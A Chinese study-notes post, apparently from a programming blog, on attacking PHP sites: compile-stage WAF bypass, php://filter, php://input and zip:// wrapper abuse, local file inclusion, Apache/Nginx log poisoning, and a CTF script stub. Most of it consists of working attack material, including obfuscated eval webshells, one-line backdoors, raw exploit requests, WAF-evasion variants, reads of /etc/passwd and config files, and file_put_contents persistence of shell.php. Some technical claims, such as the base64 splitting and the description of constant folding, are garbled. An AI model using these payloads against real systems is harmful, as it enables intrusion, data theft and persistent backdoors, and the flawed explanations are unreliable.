第 3 天:Zend 编译函数应用 + PHP 伪协议系统讲解核心知识点

Zend 编译函数:编译层绕过安全限制的原理

Zend 编译函数的核心是利用 PHP 编译阶段(源码→opcode)的逻辑缺陷,绕过运行时的安全限制,核心绕过年径为「语法解析绕过」和「编译优化利用」,具体操作过程如下:

前置说明

  1. 核心编译阶段:PHP 执行前的「词法分析→语法分析→生成 opcode」(由 Zend 引擎zend_compile_*系列函数完成);
  2. 安全限制前提:目标服务器通常在运行时做限制(如disable_functions禁用eval、WAF 关键字匹配拦截恶意代码),但未对编译阶段做校验;
  3. 核心工具:无需额外工具,仅需构造特殊语法的 PHP 代码,依赖 Zend 引擎的原生编译逻辑。

绕过年径 :编译优化利用

核心操作步骤(以「常量折叠优化」为例)
  1. 步骤 1:理解 Zend 编译优化规则 ------ 常量折叠Zend 编译阶段会将「常量表达式」直接计算出结果(无需运行时计算),例如:

    • 源码:$str = 'a' . 'b' . 'c';
    • 编译优化后:$str = 'abc';(opcode 中直接存储结果abc,无拼接操作)
    • 关键特性:常量折叠支持大部分 PHP 内置函数的常量参数调用,如base64_decode('ZXZhbA==')会被编译优化为eval
  2. 步骤 2:构造基于常量折叠的绕过 payload 适用于:WAF 拦截base64_decode('ZXZhbA==')这类明文字符串,但未对编译优化后的结果做校验

    php 复制代码
    <?php
    // 操作1:基础常量折叠:base64_decode常量被编译优化为eval
    $func = base64_decode('ZXZhbA=='); // 编译阶段直接优化为 $func = 'eval';
    $func($_POST['cmd']); // 运行时直接执行,规避WAF对"eval"的检测
    
    // 操作2:进阶常量折叠:多重编码+常量运算,提升绕过成功率
    $str1 = base64_decode('WlhaYmE='); // ZXZha(eval前4个字符)
    $str2 = base64_decode('QQ=='); // A(eval最后1个字符)
    $func2 = $str1 . $str2; // 编译阶段优化为 $func2 = 'eval';
    $func2($_POST['cmd']);
    
    // 操作3:利用数学常量优化,规避编码关键字检测
    $len = strlen('eval') - 1;
    $func3 = substr('eavlxyz', 0, $len + 1); // 编译阶段优化为 $func3 = 'eval';
    $func3($_POST['cmd']);
  3. 步骤 3:验证编译优化效果

    • 方式 1:使用 vld 扩展查看 opcode,确认$func的值已被优化为eval(opcode 中直接存储eval,无base64_decode执行指令);
    • 方式 2:上传 payload 到目标服务器,传递cmd=phpinfo();,确认代码正常执行,且 WAF 未拦截(安全工具仅检测到base64_decode,未识别编译优化后的eval)。
  4. 步骤 4:注意事项(规避编译优化失败)

    • 仅常量表达式会被优化(变量参与的表达式不会被优化,如base64_decode($_GET['code']));
    • 避免使用禁用函数的常量表达式(如system被禁用,即使编译优化后也无法执行);
    • 针对 PHP 7.x/8.x 版本差异,调整 payload(PHP 8.x 编译优化规则更严格,部分拼接语法可能不被优化)。

(三) 编译层绕过核心总结

  1. 核心逻辑:「编译阶段合法解析,运行阶段执行恶意代码,安全工具无法跨阶段识别」
  2. 关键操作:利用 Zend 语法解析规则、编译优化特性,规避直接的关键字检测和函数禁用;
  3. 落地要点:payload 需满足「Zend 编译可正常生成 opcode」,且尽可能隐蔽(减少明文字符串,增加混淆层)。

PHP 伪协议实战:php://filter(文件过滤读取)、php://input(POST 数据接收)、zip://(压缩包解析)等协议的功能、适用场景及语法格式;

前置说明

  1. 适用前提:目标 PHP 环境开启allow_url_fopen(默认开启),部分协议(如php://input)需要开启allow_url_include
  2. 核心场景:文件包含漏洞(LFI/RFI)、敏感文件读取、代码执行、上传文件绕过;
  3. 验证工具:Burp Suite(抓包构造请求)、浏览器(直接拼接 URL 参数)、蚁剑 / 菜刀(后续连接)。

(一) 协议 1:php://filter(文件过滤读取)

核心属性
  • 功能:对目标文件进行「过滤处理」(如编码转换、内容过滤)后读取,无法直接执行代码,核心用于读取不可直接访问的文件(如flag.phpconfig.php);

  • 适用场景:文件包含漏洞、源码读取、绕过文件内容直接输出限制;

  • 核心语法格式(完整 payload): plaintext

    复制代码
    php://filter/read=过滤方式/resource=目标文件路径
    # 常用过滤方式:convert.base64-encode(Base64编码,避免中文乱码、规避内容过滤)
    # 简化格式(兼容大部分环境):
    php://filter/convert.base64-encode/resource=目标文件路径
核心操作过程(以 CTF 读取flag.php为例)
  1. 步骤 1:明确目标与限制

    • 目标:读取/var/www/html/flag.php(网站根目录下的 flag 文件,直接访问返回空白或 404);
    • 限制:目标服务器禁止直接读取flag.php,仅允许通过index.php?file=参数进行文件包含。
  2. 步骤 2:构造完整 payload 利用convert.base64-encode过滤方式(Base64 编码读取,避免内容被解析或过滤),拼接文件包含参数:

    plaintext

    复制代码
    # URL参数形式(直接在浏览器访问/Burp Suite发送)
    http://目标IP/index.php?file=php://filter/convert.base64-encode/resource=flag.php
    # 若路径包含特殊字符(如空格、#),需进行URL编码
    http://目标IP/index.php?file=php://filter/convert.base64-encode/resource=%2Fvar%2Fwww%2Fhtml%2Fflag.php
  3. 步骤 3:发送请求,获取编码结果

    • 操作 1:浏览器直接访问构造的 URL,页面会返回一串 Base64 编码字符串(如PD9waHAgJGYsYWcgPSAiRkxBRzpteX9mbGFnX2lzdGVuZCI7Pz4=);
    • 操作 2:若浏览器返回空白,使用 Burp Suite 抓包,在「Response」面板中提取 Base64 编码内容(避免页面渲染过滤)。
  4. 步骤 4:解码获取文件内容

    • 方式 1:在线 Base64 解码工具(如https://base64.supfree.net/),粘贴编码字符串,解码得到flag.php源码;

    • 方式 2:本地命令行解码(Linux/Windows): bash

      运行

      复制代码
      # Linux
      echo "PD9waHAgJGYsYWcgPSAiRkxBRzpteX9mbGFnX2lzdGVuZCI7Pz4=" | base64 -d
      # Windows(PowerShell)
      [System.Convert]::FromBase64String("PD9waHAgJGYsYWcgPSAiRkxBRzpteX9mbGFnX2lzdGVuZCI7Pz4=") | Out-File -FilePath flag.php -Encoding utf8
    • 结果:解码后得到flag.php源码,提取其中的$flag变量值,完成目标。

  5. 步骤 5:进阶操作(绕过协议限制) 若目标服务器禁止php://filter协议,采用「协议变形」规避检测,核心变形 payload:

    plaintext

    复制代码
    # 变形1:多斜杠(Zend编译阶段会自动合并多余斜杠)
    php://////filter/convert.base64-encode/resource=flag.php
    # 变形2:路径拼接(利用PHP路径解析规则)
    php:/./filter/convert.base64-encode/resource=flag.php
    # 变形3:参数拆分(适用于WAF拦截完整协议字符串)
    http://目标IP/index.php?file=php://filter/read=convert.base64-encode/resource=&path=flag.php
  6. 注意事项

    • php://filter仅用于「读取」,无法执行代码,若需执行需配合其他协议;
    • 目标文件路径需准确(可通过../../../../路径遍历,定位系统敏感文件,如/etc/passwd);
    • Base64 编码后的结果可能包含换行符,解码前需去除多余空白字符。

(二) 协议 2:php://input(POST 数据接收)

核心属性
  • 功能:读取 POST 请求体中的原始数据,支持将 POST 数据作为 PHP 代码执行,核心用于「代码执行」;

  • 适用场景:文件包含漏洞(RFI/LFI)、远程代码执行、绕过 GET 参数限制;

  • 前置条件:目标 PHP 环境开启allow_url_include=On(默认关闭,需漏洞环境或配置不当);

  • 核心语法格式:

    bash 复制代码
    php://input
    # 无额外参数,直接作为文件包含参数使用,POST请求体中写入恶意PHP代码
核心操作过程(以文件包含 getshell 为例)
  1. 明确目标与限制

    • 目标:通过文件包含漏洞,在目标服务器上执行恶意代码,获取 webshell;
    • 限制:目标仅允许通过index.php?file=参数进行文件包含,且禁止http://远程包含协议。
  2. 构造请求(核心操作,需使用 Burp Suite)

    • 发送 GET 请求,拼接文件包含参数:

      php 复制代码
      GET /index.php?file=php://input HTTP/1.1
      Host: 目标IP
      Connection: close
      Content-Type: text/plain  # 指定POST数据格式为纯文本
      Content-Length: 长度值(POST数据的字节数)
    • 在请求体(POST Data)中写入恶意 PHP 代码(一句话后门):

      php 复制代码
      <?php eval($_POST['cmd']); ?>  # 接收POST参数cmd,执行任意PHP代码
      # 进阶:隐蔽性后门,避免被快速检测
      <?php @system($_POST['shell']); ?>
  3. 发送请求,验证代码执行

    • Burp Suite 发送构造好的请求,查看响应状态码(200 OK 表示请求成功);
    • 验证后门可用性:使用蚁剑 / 菜刀,添加目标地址http://目标IP/index.php,密码cmd(对应后门中的$_POST['cmd']),测试连接;
    • 若连接成功,即可通过蚁剑 / 菜刀执行命令、读取文件,完成 getshell。
  4. 进阶操作(绕过allow_url_include关闭限制) 若目标allow_url_include=Off,可结合「文件上传 +php://input」绕过:

    • 上传包含<?php eval($_POST['cmd']); ?>的图片文件(伪装文件头GIF89a,绕过上传限制);

    • 通过php://input读取上传文件的路径,再通过文件包含执行;

    • 核心 payload(POST 请求体):

      php 复制代码
      <?php $path = '/var/www/html/upload/123.jpg'; include($path); ?>
  5. 注意事项

    • php://input仅支持 POST 请求,GET 请求无法传递数据;
    • 当请求方法为GET时,php://input返回空,需确保请求方法为POST
    • 恶意代码需符合 PHP 语法,否则会导致执行失败(可先本地测试语法正确性)。

(三) 协议 3:zip://(压缩包解析)

核心属性
  • 功能:直接解析压缩包中的文件(无需解压),支持读取压缩包内的 PHP 文件并执行,核心用于「绕过协议黑名单、上传文件绕过」;

  • 适用场景:文件包含漏洞、上传文件后缀限制绕过、php://filter被禁止的场景;

  • 核心语法格式:

    php 复制代码
    # 格式1:压缩包路径%23内部文件路径(%23是URL编码后的#,分隔压缩包与内部文件)
    zip://压缩包绝对路径%23内部文件相对路径
    # 格式2:URL参数形式(文件包含场景)
    http://目标IP/index.php?file=zip:///var/www/html/flag.zip%23flag.php
    # 简化格式(上传场景,压缩包位于网站根目录)
    zip://flag.zip#flag.php
核心操作过程(以绕过php://filter禁止,读取flag.php为例)
  1. 准备压缩包(本地操作)

    • 将目标文件flag.php(本地创建测试文件,或获取目标文件)压缩为flag.zip(仅压缩flag.php,不包含上级目录);
    • 验证压缩包(可选):解压flag.zip,确认内部包含flag.php,且路径正确;
    • (进阶)若需上传压缩包,可将flag.zip重命名为flag.jpg(伪装图片后缀,绕过上传格式限制)。
  2. 上传 / 定位压缩包(目标服务器操作)

    • 场景 1:压缩包已存在于目标服务器(如/var/www/html/flag.zip),直接使用绝对路径;
    • 场景 2:需上传压缩包,通过目标网站的上传功能,将flag.zip(或flag.jpg)上传至服务器,定位上传路径(如/var/www/html/upload/flag.jpg)。
  3. 构造完整 payload,执行文件包含

    • 压缩包为flag.zip,位于网站根目录,读取内部flag.php

      复制代码
      http://目标IP/index.php?file=zip:///var/www/html/flag.zip%23flag.php
    • 上传的压缩包为flag.jpg,位于upload目录,读取内部flag.php

      复制代码
      http://目标IP/index.php?file=zip:///var/www/html/upload/flag.jpg%23flag.php
    • 关键操作:#必须进行 URL 编码为%23(否则浏览器会将#后的内容视为锚点,不传递给服务器)。

  4. 获取结果,验证效果

    • 浏览器访问构造的 URL,若flag.php有输出,直接查看页面内容;

    • flag.php无输出,结合php://filter(若未被完全禁止),构造组合 payload:

      复制代码
      http://目标IP/index.php?file=php://filter/convert.base64-encode/resource=zip:///var/www/html/flag.zip%23flag.php
    • 解码 Base64 结果,获取flag.php内容,完成目标。

  5. 进阶操作(getshell)

    • 本地创建shell.php,写入一句话后门:<?php eval($_POST['cmd']); ?>

    • shell.php压缩为shell.zip,重命名为shell.jpg,上传至目标服务器;

    • 构造 payload,通过文件包含执行后门:

      复制代码
      http://目标IP/index.php?file=zip:///var/www/html/upload/shell.jpg%23shell.php
    • 使用蚁剑 / 菜刀连接,密码cmd,获取 webshell。

  6. 注意事项

    • zip://仅支持zip格式压缩包,不支持rar7z等格式;
    • 压缩包内的文件路径需为「相对路径」(不可包含/),否则无法解析;
    • 目标服务器需有读取压缩包的权限(否则会返回文件不存在错误)。

(四) 其他核心协议补充(快速操作指南)

协议 核心功能 适用场景 核心 payload
phar:// 解析 phar 格式压缩包,支持执行内部代码 绕过zip://禁止、文件包含 phar://shell.phar#shell.php
data:// 直接传递数据,支持 Base64 编码执行 代码执行、绕过 GET 参数限制 data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==

第 4 天:伪协议相关漏洞 + 文件包含与日志注入

伪协议漏洞利用:伪协议与文件包含、代码注入的结合场景

(一) php://filter + 文件包含 → 读取敏感文件

这是最常用的场景,用于读取不可直接访问的敏感文件(如config.phpflag.php/etc/passwd),核心操作步骤如下:

  1. 探测文件包含漏洞与可利用性

    • 构造基础测试 payload,验证文件包含是否存在:

      php 复制代码
      # 访问目标包含页面,尝试包含系统默认文件(Linux)
      http://目标IP/index.php?file=/etc/passwd
      # Windows系统测试
      http://目标IP/index.php?file=C:\Windows\System32\drivers\etc\hosts
    • 验证结果:若页面返回root:x:0:0:root:/root:/bin/bash(Linux)或 hosts 文件内容,说明文件包含漏洞存在且无严格过滤。

  2. 构造php://filter完整 payload 核心采用convert.base64-encode过滤方式,避免文件内容被 PHP 解析(如<?php ?>标签内代码被执行而不输出),完整 payload:

    php 复制代码
    # 基础格式:读取网站根目录下的config.php
    http://目标IP/index.php?file=php://filter/convert.base64-encode/resource=config.php
    # 路径遍历:读取上级目录的敏感文件(../ 跳转目录,根据实际路径调整层数)
    http://目标IP/index.php?file=php://filter/convert.base64-encode/resource=../../../../etc/passwd
    # 完整绝对路径(精准定位,适用于已知路径场景)
    http://目标IP/index.php?file=php://filter/convert.base64-encode/resource=/var/www/html/flag.php
  3. 发送请求,提取编码结果

    • 浏览器直接访问构造的 URL,页面会返回一串连续的 Base64 编码字符串(无多余 HTML 标签,若有可通过「查看页面源代码」提取);
    • 若浏览器返回空白,使用 Burp Suite 抓包,在「Response」面板的「Raw」标签下提取完整编码内容(规避页面渲染过滤)。
  4. 解码获取敏感文件内容

    • 在线解码:使用 Base64 解码工具(如https://base64.supfree.net/),粘贴编码字符串,解码得到原始文件源码;

    • 本地解码(Linux/Windows):

      bash 复制代码
      # Linux命令行
      echo "编码字符串" | base64 -d > config.php
      # Windows PowerShell
      [System.Convert]::FromBase64String("编码字符串") | Out-File -FilePath config.php -Encoding utf8
    • 结果提取:从解码后的config.php中获取数据库账号密码、密钥等敏感信息,从flag.php中提取目标 flag。

  5. 进阶绕过(应对协议 / 关键字拦截) 若目标 WAF 拦截php://filter,采用协议变形规避,核心变形 payload:

    复制代码
    # 1. 多余斜杠(Zend引擎编译阶段会自动合并)
    php://////filter/convert.base64-encode/resource=config.php
    # 2. 路径拼接(利用PHP路径解析规则)
    php:/./filter/convert.base64-encode/resource=config.php
    # 3. 拆分参数(规避完整关键字匹配)
    http://目标IP/index.php?file=php://filter/read=convert.base64-encode/resource=&name=config.php
    # 4. 结合其他协议(如zip://,先将敏感文件压缩为zip包)
    http://目标IP/index.php?file=php://filter/convert.base64-encode/resource=zip://flag.zip%23flag.php

(二) php://input + 文件包含 → 远程代码执行

该场景用于获取临时代码执行权限(getshell),前置条件为allow_url_include=On(默认关闭,需配置不当或漏洞环境),核心操作步骤如下:

  1. 验证allow_url_include配置(可选) 构造data://协议 payload,快速验证配置是否开启:

    复制代码
    http://目标IP/index.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+
  2. 构造php://input请求(必须使用 Burp Suite) 该协议仅支持 POST 请求,需在请求体中写入恶意 PHP 代码,步骤如下:

    • 发送 GET 请求,拼接包含参数:

      python 复制代码
      GET /index.php?file=php://input HTTP/1.1
      Host: 目标IP
      Connection: close
      Content-Type: text/plain
      Content-Length: 26  # 对应下方PHP代码的字节数
    • 在请求体(POST Data)中写入恶意代码(一句话后门 / 命令执行):

      php 复制代码
      # 方案1:一句话后门(便于后续蚁剑/菜刀连接)
      <?php eval($_POST['cmd']); ?>
      # 方案2:直接执行系统命令(快速验证)
      <?php system('ls -l /var/www/html'); ?>
  3. 发送请求,验证代码执行效果

    • 效果 1(直接命令执行):若请求体中写入system('ls -l'),响应页面会返回目标目录下的文件列表,说明代码执行成功;
    • 效果 2(一句话后门):响应页面无明显输出(200 OK),使用蚁剑 / 菜刀添加目标地址http://目标IP/index.php,密码cmd,测试连接,若能成功连接,说明后门生效。
  4. 进阶操作(持久化 webshell) 利用代码执行权限,将后门写入目标服务器本地文件,实现持久化:

    • 在 Burp Suite 请求体中写入文件写入代码(Linux):

      php 复制代码
      <?php file_put_contents('/var/www/html/shell.php', '<?php eval($_POST["cmd"]); ?>'); ?>
    • 访问http://目标IP/shell.php,后续可直接通过蚁剑连接,无需重复利用文件包含漏洞。

日志文件注入:Apache/Nginx 日志路径定位、恶意代码写入方法、文件包含触发执行流程

(一) 步骤 1:定位 Apache/Nginx 日志文件路径

日志路径分为「默认路径」和「自定义路径」,优先探测默认路径,核心路径如下:

1. Apache 默认日志路径
bash 复制代码
# 访问日志(最常用,记录所有HTTP请求)
/var/log/apache2/access.log
/var/log/apache/access.log
# 错误日志
/var/log/apache2/error.log
/var/log/apache/error.log
# 虚拟主机日志(若目标配置了虚拟主机)
/var/log/apache2/sites-available/目标域名.access.log
2. Nginx 默认日志路径
bash 复制代码
# 访问日志(最常用)
/var/log/nginx/access.log
/var/log/nginx/nginx.access.log
# 错误日志
/var/log/nginx/error.log
/var/log/nginx/nginx.error.log
# 虚拟主机日志
/var/log/nginx/目标域名.access.log
3. Windows 日志默认路径
bash 复制代码
# Apache
C:\Program Files\Apache Group\Apache2\logs\access.log
C:\xampp\apache\logs\access.log
# Nginx
C:\Program Files\Nginx\logs\access.log
C:\xampp\nginx\logs\access.log
4. 路径探测方法(利用文件包含漏洞)

构造 payload,尝试包含日志文件,验证路径是否正确:

bash 复制代码
http://目标IP/index.php?file=/var/log/apache2/access.log
http://目标IP/index.php?file=/var/log/nginx/access.log

(二) 步骤 2:恶意代码写入日志文件(核心操作,Burp Suite)

User-Agent注入为例,核心操作步骤如下:

(三) 步骤 3:文件包含触发日志中的代码执行(核心操作)

  1. 构造文件包含 payload,包含日志文件

    plaintext

    复制代码
    # Apache 日志
    http://目标IP/index.php?file=/var/log/apache2/access.log
    # Nginx 日志
    http://目标IP/index.php?file=/var/log/nginx/access.log
    # 路径遍历(若日志文件在上级目录)
    http://目标IP/index.php?file=../../../../var/log/nginx/access.log
  2. 验证代码执行权限(两种方式)

    • 方式 1:直接使用 Burp Suite 发送 POST 请求,传递cmd参数执行命令:

      复制代码
      POST /index.php?file=/var/log/apache2/access.log HTTP/1.1
      Host: 目标IP
      Connection: close
      Content-Type: application/x-www-form-urlencoded
      Content-Length: 16
      
      cmd=phpinfo();
    • 方式 2:使用蚁剑 / 菜刀连接,添加目标地址http://目标IP/index.php?file=/var/log/apache2/access.log,密码cmd,测试是否能执行命令、读取文件。

  3. 进阶操作:持久化 webshell 利用日志中的代码执行权限,将后门写入目标服务器本地文件,避免重复注入日志:

    • 执行文件写入命令(Linux):

      php 复制代码
      # 传递cmd参数:file_put_contents写入后门
      cmd=file_put_contents('/var/www/html/shell.php', '<?php eval($_POST["cmd"]); ?>');
    • 访问http://目标IP/shell.php,后续可直接通过蚁剑连接,完成持久化。

(四)注意事项与优化(提升利用成功率)

  1. 日志文件编码 / 格式问题

    • Web 服务器会对日志中的特殊字符进行转义,若 PHP 代码执行失败,可尝试简化代码(如<?=@eval($_POST['c']);?>,减少特殊字符);
    • 若日志文件过大,包含漏洞执行超时,可等待日志轮转(Web 服务器会定期切割日志文件,生成新日志),再重新注入代码。
  2. 权限问题

    • 若无法读取日志文件,尝试其他路径,或利用路径遍历提升权限;
    • 避免写入被保护的日志文件(如root权限日志,Web 服务器无法读取)。
  3. 隐蔽性优化

    • 注入的 PHP 代码可结合 Base64 编码,提升隐蔽性,避免被管理员发现:

      php 复制代码
      User-Agent: <?php $a=base64_decode('ZXZhbA=='); $a($_POST['cmd']); ?>
  4. Nginx 日志特殊处理 Nginx 默认会对请求头中的特殊字符进行转义(如<转义为&lt;),导致 PHP 代码无法被解析

五、核心漏洞与 CTF 实战考点整合

(一)关键文件与漏洞点

文件名 核心功能 漏洞 / 限制 CTF 考点应用
index.php 接收 file 参数,实现文件包含 禁止 input/filter/data 协议;无 file 时显示 upload 链接 文件包含漏洞绕过、伪协议替代方案(如zip://
flag.php 定义 $flag 变量 需通过文件包含或其他漏洞读取 伪协议读取源码、文件包含直接包含获取 flag
上传相关文件 处理文件上传 允许格式:jpg/jpeg/png/zip;大小限制 < 100000;文件名 MD5 加密 后缀欺骗、文件头伪装绕过上传限制,配合文件包含 getshell
登录相关文件 处理用户名 / 密码校验 预编译 SQL 防注入;密码 MD5 加密;Session 存储 base64 编码用户名 非预编译场景 SQL 注入、Session 欺骗辅助解题

(二)高危漏洞与 CTF 解题技巧

  1. 文件包含漏洞(LFI)
  • 核心考点:协议绕过、日志注入、上传文件包含;
  • 解题技巧:尝试zip://phar://等未被禁止的协议;构造日志注入恶意代码(如 User-Agent 写入<?php eval($_POST['cmd']);?>),再通过文件包含执行。
  1. 文件上传漏洞
  • 核心考点:格式校验绕过、文件内容伪装;
  • 解题技巧:后缀欺骗(shell.php.jpg)、文件头伪装(添加 GIF89a)、压缩包上传后解压包含。
  1. SQL 注入漏洞
  • 核心考点:参数拼接注入、联合查询、报错注入;
  • 解题技巧:测试语句'0' union select 1,2,3#'0' union select 1,2,3-- ;预编译场景不可注入,重点关注 id 等直接拼接参数。
  1. 伪协议应用
  • 核心考点:敏感文件读取、代码执行;
  • 解题技巧:php://filter/read=convert.base64-encode/resource=flag.php读取源码,php://input接收 POST 数据执行代码。

(三)CTF 常用工具与函数

类型 内容 备注(CTF 应用场景)
工具 Burp Suite(抓包 / 爆破)、Python(脚本开发) 爆破文件名、自动化测试 LFI 偏移量、构造注入 payload
危险协议 php://filter、php://input、zip://、phar:// 绕过文件包含限制、读取敏感文件
核心函数 scandir(目录遍历)、fopen/fwrite(文件读写)、include ()(文件包含) 目录扫描找 flag 文件、写入恶意代码、触发漏洞执行
数据处理 substr(字符串截取)、ceil/floor(数值处理) 构造精准 payload,适配漏洞参数要求

(四)CTF 自动化脚本

python 复制代码
import sys

attempts = 1000
host = "192.168.68.129"  # CTF靶机地址
port = 80

def init(host, port):
    # 初始化HTTP连接(CTF中可配置请求头、Cookie等)
    request1 = "GET /index.php?file= HTTP/1.1\r\nHost: {}\r\n\r\n".format(host)
    request2 = ""
    return request1, request2

def getoffset(host, port, request1):
    # 计算文件包含偏移量(适配CTF中LFI题目)
    return 0

def phpinfo_LFI(host, port, offset, request1, request2):
    # 利用LFI读取phpinfo或flag文件
    payload = "php://filter/read=convert.base64-encode/resource=flag.php"
    request = request1.replace("file=", "file={}".format(payload))
    # 发送请求并接收响应(需补充socket通信逻辑)
    return None

if __name__ == "__main__":
    request1, request2 = init(host, port)
    for i in range(1, attempts):
        offset = getoffset(host, port, request1)
        print(f"try:{i}/{attempts}")
        sys.stdout.flush()
        res = phpinfo_LFI(host, port, offset, request1, request2)
        if res is not None:
            print('Success! Flag content:', res)
            break

六、安全防护措施(CTF 防护绕过思路)

防护类型 具体措施 作用 CTF 绕过技巧
SQL 注入防护 预编译 SQL 语句(bind_param 绑定参数) 杜绝参数拼接注入 寻找未使用预编译的场景(如 id 参数直接拼接)
文件上传防护 格式校验(后缀白名单)、大小限制 防止恶意文件上传 后缀欺骗、文件头伪装、分块上传绕过大小限制
文件包含防护 禁止危险协议(input/filter/data) 减少文件包含风险 使用zip://phar://等替代协议
会话安全 Session 存储 base64 编码用户名 提升会话安全性 破解 base64 编码、伪造 Session 标识
其他 错误抑制、日志记录 减少信息泄露 触发报错注入、利用日志文件写入恶意

七、总结

前四天的学习构建了从底层原理到 CTF 实战的完整知识体系,不仅掌握了 PHP 相关核心漏洞的利用技术,更实现了 "漏洞成因 - 利用逻辑 - CTF 解题适配" 的思维闭环。后续将以 "强化基础、深耕实战" 为目标,持续提升渗透技术的深度与广度,重点突破 CTF 高频考点,努力将理论知识转化为高效解题能力,为后续竞赛与实战应用筑牢基础。

相关推荐
xiangpanf8 小时前
Laravel 10.x重磅升级:五大核心特性解析
android
robotx11 小时前
安卓线程相关
android
消失的旧时光-194312 小时前
Android 面试高频:JSON 文件、大数据存储与断电安全(从原理到工程实践)
android·面试·json
dalancon13 小时前
VSYNC 信号流程分析 (Android 14)
android
dalancon13 小时前
VSYNC 信号完整流程2
android
dalancon13 小时前
SurfaceFlinger 上帧后 releaseBuffer 完整流程分析
android
用户693717500138414 小时前
不卷AI速度,我卷自己的从容——北京程序员手记
android·前端·人工智能
程序员Android14 小时前
Android 刷新一帧流程trace拆解
android
墨狂之逸才15 小时前
解决 Android/Gradle 编译报错:Comparison method violates its general contract!
android
阿明的小蝴蝶16 小时前
记一次Gradle环境的编译问题与解决
android·前端·gradle